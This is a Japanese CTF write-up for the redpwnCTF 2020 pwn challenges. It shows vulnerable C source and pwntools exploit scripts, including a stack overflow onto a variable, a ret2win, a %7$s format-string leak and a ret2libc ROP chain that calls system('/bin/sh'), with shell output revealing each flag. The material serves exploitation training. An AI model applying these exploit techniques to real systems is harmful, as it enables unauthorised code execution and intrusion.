redpwnCTF 2020【Write up】
pwn
coffer-overflow-0
ソースコードも一緒に配布されるのでみてみると
#include <stdio.h> #include <string.h> int main(void) { long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code != 0) { system("/bin/sh"); } }
BOFさせてcodeという変数を書き換えるとシェルが起動することがわかります。
$ nc 2020.redpwnc.tf 31199 Welcome to coffer overflow, where our coffers are overfilling with bytes ;) What do you want to fill your coffer with? AAAAAAAAAAAAAAAAAAAAAAAA id /bin/sh: 1: id: not found ls Makefile bin coffer-overflow-0 coffer-overflow-0.c dev flag.txt lib lib32 lib64 cat flag.txt flag{b0ffer_0verf10w_3asy_as_123}
coffer-overflow-1
ソースコードをみてみると
#include <stdio.h> #include <string.h> int main(void) { long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code == 0xcafebabe) { system("/bin/sh"); } }
BOFさせて変数codeを0から0xcafebabeに書き換えるとシェルを起動させることができます。
from pwn import * e = ELF('./coffer-overflow-1') #p = process('./coffer-overflow-1') p = remote('2020.redpwnc.tf',31255) payload = 'A'*0x18 payload += p64(0xcafebabe) p.sendline(payload) p.interactive()
$ python solve.py [*] Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 2020.redpwnc.tf on port 31255: Done [*] Switching to interactive mode Welcome to coffer overflow, where our coffers are overfilling with bytes ;) What do you want to fill your coffer with? $ id /bin/sh: 1: id: not found $ ls Makefile bin coffer-overflow-1 coffer-overflow-1.c dev flag.txt lib lib32 lib64 $ cat flag.txt flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}
coffer-overflow-2
#include <stdio.h> #include <string.h> int main(void) { char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); } void binFunction() { system("/bin/sh"); }
BOFさせてbinFunction関数に飛ばすだけです。
from pwn import * e = ELF('./coffer-overflow-2') #p = process('./coffer-overflow-2') p = remote('2020.redpwnc.tf',31908) ret_addr = 0x0040053e payload = 'A'*24 #payload += p64(ret_addr) payload += p64(e.symbols['binFunction']) p.sendline(payload) p.interactive()
$ python solve.py [*] Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 2020.redpwnc.tf on port 31908: Done [*] Switching to interactive mode Welcome to coffer overflow, where our coffers are overfilling with bytes ;) What do you want to fill your coffer with? $ ls Makefile bin coffer-overflow-2 coffer-overflow-2.c dev flag.txt lib lib32 lib64 $ cat flag.txt flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}
secret-flag
$ file secret-flag secret-flag: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=03c6845dc54ee5f3cef2d41be905ca0a7065ebef, stripped
$ checksec.sh --file=./secret-flag RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 3 ./secret-flag
strippedなのでgdbでエントリポイントから読んでいきます。
gdb-peda$ 0x93b: mov QWORD PTR [rbp-0x28],rax 0x93f: mov esi,0x0 0x944: lea rdi,[rip+0x15d] # 0xaa8 0x94b: mov eax,0x0 0x950: call 0x7f0 <open@plt> 0x955: mov DWORD PTR [rbp-0x2c],eax 0x958: mov rcx,QWORD PTR [rbp-0x28] 0x95c: mov eax,DWORD PTR [rbp-0x2c] 0x95f: mov edx,0x100 0x964: mov rsi,rcx 0x967: mov edi,eax 0x969: mov eax,0x0 0x96e: call 0x7c0 <read@plt> 0x973: mov rax,QWORD PTR [rip+0x2006a6] # 0x201020 <stdout> 0x97a: mov esi,0x0 0x97f: mov rdi,rax 0x982: call 0x7a0 <setbuf@plt> 0x987: mov rax,QWORD PTR [rip+0x2006a2] # 0x201030 <stdin> 0x98e: mov esi,0x0 0x993: mov rdi,rax 0x996: call 0x7a0 <setbuf@plt> 0x99b: mov rax,QWORD PTR [rip+0x20069e] # 0x201040 <stderr> 0x9a2: mov esi,0x0 0x9a7: mov rdi,rax 0x9aa: call 0x7a0 <setbuf@plt> 0x9af: lea rdi,[rip+0x102] # 0xab8 0x9b6: call 0x780 <puts@plt> 0x9bb: lea rdi,[rip+0x126] # 0xae8 0x9c2: call 0x780 <puts@plt> 0x9c7: mov rdx,QWORD PTR [rip+0x200662] # 0x201030 <stdin> 0x9ce: lea rax,[rbp-0x20] 0x9d2: mov esi,0x14 0x9d7: mov rdi,rax 0x9da: call 0x7d0 <fgets@plt> 0x9df: lea rdi,[rip+0x127] # 0xb0d 0x9e6: mov eax,0x0 0x9eb: call 0x7b0 <printf@plt> 0x9f0: lea rax,[rbp-0x20] 0x9f4: mov rdi,rax 0x9f7: mov eax,0x0 0x9fc: call 0x7b0 <printf@plt> 0xa01: mov eax,0x0 0xa06: mov rcx,QWORD PTR [rbp-0x8] 0xa0a: xor rcx,QWORD PTR fs:0x28 0xa13: je 0xa1a 0xa15: call 0x790 <__stack_chk_fail@plt> 0xa1a: leave 0xa1b: ret
flag.txtがopenされてread関数でスタックに格納されたあとに
./secret-flag I have a secret flag, which you'll never get! What is your name, young adventurer?
という出力がされているようです。またこのプログラムはFormat String Bugがあるのでスタックの中身を出力することができます。
今回は7番目にflagが格納されていました。
$ nc 2020.redpwnc.tf 31826 I have a secret flag, which you'll never get! What is your name, young adventurer? %7$s Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}
the-library
$ file the-library the-library: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3067a5291814bef337dafc695eee28f371370eae, not stripped
$ checksec.sh --file=./the-library RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 66 Symbols No 0 1 ./the-library
$ ./the-library Welcome to the library... What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello there: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
BOFがあり、libcが渡されているのでlibcのリークをしてsystem('/bin/sh')を実行しました。
from pwn import * e = ELF('./the-library') #p = process('./the-library') p = remote('2020.redpwnc.tf',31350) libc = ELF('./libc.so.6') ret_addr = 0x00400506 pop_rdi_addr = 0x00400733 payload = 'A'*24 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(e.got['read']) payload += p64(e.symbols['puts']) payload += p64(e.symbols['_start']) print p.recvuntil('name?') p.sendline(payload) print p.recvuntil('Hello there:') print p.recvline() print p.recvline() ret = u64(p.recvline().rstrip('\n') + '\x00\x00') print "ret: " + hex(ret) libc_base_addr = ret-libc.symbols['read'] system_addr = libc.symbols['system'] + libc_base_addr binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr print "system: " + hex(system_addr) print "/bin/sh: " + hex(binsh_addr) payload = 'A'*24 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(system_addr) print p.recvuntil('name?') p.sendline(payload) p.interactive()
$ python solve.py [*] Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 2020.redpwnc.tf on port 31350: Done [*] Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Welcome to the library... What's your name? Hello there: AAAAAAAAAAAAAAAAAAAAAAAA\x06@ ret: 0x7ff2d0f86070 system: 0x7ff2d0ec5440 /bin/sh: 0x7ff2d1029e9a Welcome to the library... What's your name? [*] Switching to interactive mode Hello there: AAAAAAAAAAAAAAAAAAAAAAAA\x06@ $ id /bin/sh: 1: id: not found $ ls Makefile bin dev flag.txt lib lib32 lib64 libc.so.6 the-library the-library.c $ cat flag.txt flag{jump_1nt0_th3_l1brary}